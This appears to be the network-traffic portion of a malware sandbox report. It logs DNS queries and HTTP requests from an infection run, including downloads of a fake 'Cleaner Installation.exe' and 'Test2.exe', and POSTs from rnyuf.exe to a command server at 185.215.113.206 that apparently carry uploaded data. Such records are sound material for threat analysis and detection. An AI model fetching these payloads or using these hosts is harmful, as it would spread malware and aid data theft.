                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:34 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.mediafire.com
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.mediafire.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.mediafire.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.16.203.237
                                                                                                                                                                                                                                          www.mediafire.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.16.202.237
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://www.mediafire.com/file/im7qo11ly15e0hw/Cleaner_Installation.exe
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.16.203.237:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /file/im7qo11ly15e0hw/Cleaner_Installation.exe HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: AdvancedInstaller
                                                                                                                                                                                                                                          Host: www.mediafire.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:34 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: ukey=odxpfqbs16t24yvqgnn9aop5g6q3maef; expires=Wed, 21-Aug-2041 10:27:34 GMT; Max-Age=631152000; path=/; domain=.mediafire.com; HttpOnly
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=0
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: https://www.mediafire.com
                                                                                                                                                                                                                                          Location: https://download2388.mediafire.com/kg76fnpt5kdg/im7qo11ly15e0hw/Cleaner+Installation.exe
                                                                                                                                                                                                                                          Report-To: {"group": "mediafirenel", "max_age": 86400, "include_subdomains": true, "endpoints": [{"url": "https://browser-reports.mediafire.dev/network-error"}]}
                                                                                                                                                                                                                                          NEL: {"report_to": "mediafirenel", "max_age": 86400, "include_subdomains": true, "failure_fraction": 0.01}
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Set-Cookie: __cf_bm=5e6e2f1f3d3c9e0917df28b1fb74542f3a41ec47-1629541654-1800-AQBoTIhGIUkRohrhcXBH+kpuQcSs36u8j0KbZPXzA9ql3vAHKf2jLnsXWhDpX8piFTD5h+Y3JKmJh8izNNvPza0=; path=/; expires=Sat, 21-Aug-21 10:57:34 GMT; domain=.mediafire.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232b695cd14148-AMS
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          download2388.mediafire.com
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          download2388.mediafire.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          download2388.mediafire.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          199.91.155.129
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://download2388.mediafire.com/kg76fnpt5kdg/im7qo11ly15e0hw/Cleaner+Installation.exe
                                                                                                                                                                                                                                          MsiExec.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          199.91.155.129:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /kg76fnpt5kdg/im7qo11ly15e0hw/Cleaner+Installation.exe HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: AdvancedInstaller
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Host: download2388.mediafire.com
                                                                                                                                                                                                                                          Cookie: ukey=odxpfqbs16t24yvqgnn9aop5g6q3maef
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: LRBD-2004e49
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:37 GMT
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-transfer-encoding: binary
                                                                                                                                                                                                                                          Content-Length: 70594552
                                                                                                                                                                                                                                          Cache-Control: no-store
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow
                                                                                                                                                                                                                                          Content-Disposition: attachment; filename="Cleaner Installation.exe"
                                                                                                                                                                                                                                          Content-Type: application/x-dosexec
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 242
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:36 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 195
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:38 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 57
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          192.243.59.12
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          192.243.59.20
                                                                                                                                                                                                                                          www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          192.243.59.13
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          2.18.105.186:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /fwlink/?LinkID=252669&clcid=0x409 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 2058
                                                                                                                                                                                                                                          Host: go.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Server: AkamaiGHost
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Location: http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 10:27:39 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=0, no-cache, no-store
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:39 GMT
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          investorblak.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          investorblak.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          investorblak.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.213.253.67
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://investorblak.com/wp-content/Test2.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.213.253.67:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /wp-content/Test2.exe HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Host: investorblak.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          cache-control: public, max-age=604800
                                                                                                                                                                                                                                          expires: Sat, 28 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          content-type: application/x-msdownload
                                                                                                                                                                                                                                          last-modified: Sat, 21 Aug 2021 10:07:32 GMT
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          content-length: 4109240
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          server: LiteSpeed
                                                                                                                                                                                                                                          strict-transport-security: max-age=31536000
                                                                                                                                                                                                                                          content-security-policy: upgrade-insecure-requests
                                                                                                                                                                                                                                          x-xss-protection: 1; mode=block
                                                                                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                                                                                          referrer-policy: no-referrer-when-downgrade
                                                                                                                                                                                                                                          vary: User-Agent
                                                                                                                                                                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          devicemetadataservice.trafficmanager.net
                                                                                                                                                                                                                                          devicemetadataservice.trafficmanager.net
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          vmss-prod-neu.northeurope.cloudapp.azure.com
                                                                                                                                                                                                                                          vmss-prod-neu.northeurope.cloudapp.azure.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          20.54.64.202
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          20.54.64.202:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /metadata.svc HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 2058
                                                                                                                                                                                                                                          Host: dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:39 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-16LE
                                                                                                                                                                                                                                          Content-Length: 1734
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: private
                                                                                                                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                                                                                                                          X-AspNet-Version: 4.0.30319
                                                                                                                                                                                                                                          Request-Context: appId=cid-v1:c490f1e8-2a51-43a5-b06d-d2230108e17f
                                                                                                                                                                                                                                          Access-Control-Expose-Headers: Request-Context
                                                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          20.54.64.202:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /metadata.svc HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 1242
                                                                                                                                                                                                                                          Host: dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-16LE
                                                                                                                                                                                                                                          Content-Length: 1728
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: private
                                                                                                                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                                                                                                                          X-AspNet-Version: 4.0.30319
                                                                                                                                                                                                                                          Request-Context: appId=cid-v1:c490f1e8-2a51-43a5-b06d-d2230108e17f
                                                                                                                                                                                                                                          Access-Control-Expose-Headers: Request-Context
                                                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          20.54.64.202:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /metadata.svc HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 1242
                                                                                                                                                                                                                                          Host: dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-16LE
                                                                                                                                                                                                                                          Content-Length: 1728
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: private
                                                                                                                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                                                                                                                          X-AspNet-Version: 4.0.30319
                                                                                                                                                                                                                                          Request-Context: appId=cid-v1:c490f1e8-2a51-43a5-b06d-d2230108e17f
                                                                                                                                                                                                                                          Access-Control-Expose-Headers: Request-Context
                                                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          20.54.64.202:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /metadata.svc HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 1242
                                                                                                                                                                                                                                          Host: dmd.metaservices.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-16LE
                                                                                                                                                                                                                                          Content-Length: 1728
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: private
                                                                                                                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                                                                                                                          X-AspNet-Version: 4.0.30319
                                                                                                                                                                                                                                          Request-Context: appId=cid-v1:c490f1e8-2a51-43a5-b06d-d2230108e17f
                                                                                                                                                                                                                                          Access-Control-Expose-Headers: Request-Context
                                                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          2.18.105.186:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /fwlink/?LinkID=252669&clcid=0x409 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 1242
                                                                                                                                                                                                                                          Host: go.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Server: AkamaiGHost
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Location: http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 10:27:39 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=0, no-cache, no-store
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:39 GMT
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://185.215.113.206/k8FppT/index.php
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.215.113.206:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /k8FppT/index.php HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: 185.215.113.206
                                                                                                                                                                                                                                          Content-Length: 84
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:49 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          2.18.105.186:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /fwlink/?LinkID=252669&clcid=0x409 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 1242
                                                                                                                                                                                                                                          Host: go.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Server: AkamaiGHost
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Location: http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=0, no-cache, no-store
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          trustmanager.ug
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://185.215.113.206/k8FppT/index.php?scr=1
                                                                                                                                                                                                                                          rnyuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          185.215.113.206:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /k8FppT/index.php?scr=1 HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: multipart/form-data; boundary=----f990ce2095ddb564dcce3991592fe260
                                                                                                                                                                                                                                          Host: 185.215.113.206
                                                                                                                                                                                                                                          Content-Length: 67370
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409
                                                                                                                                                                                                                                          DsmSvc
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          2.18.105.186:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /fwlink/?LinkID=252669&clcid=0x409 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/xml; charset="UTF-16LE"
                                                                                                                                                                                                                                          User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENT
                                                                                                                                                                                                                                          SOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
                                                                                                                                                                                                                                          Content-Length: 1242
                                                                                                                                                                                                                                          Host: go.microsoft.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Server: AkamaiGHost
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Location: http://dmd.metaservices.microsoft.com/metadata.svc
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=0, no-cache, no-store
                                                                                                                                                                                                                                          Pragma: no-cache
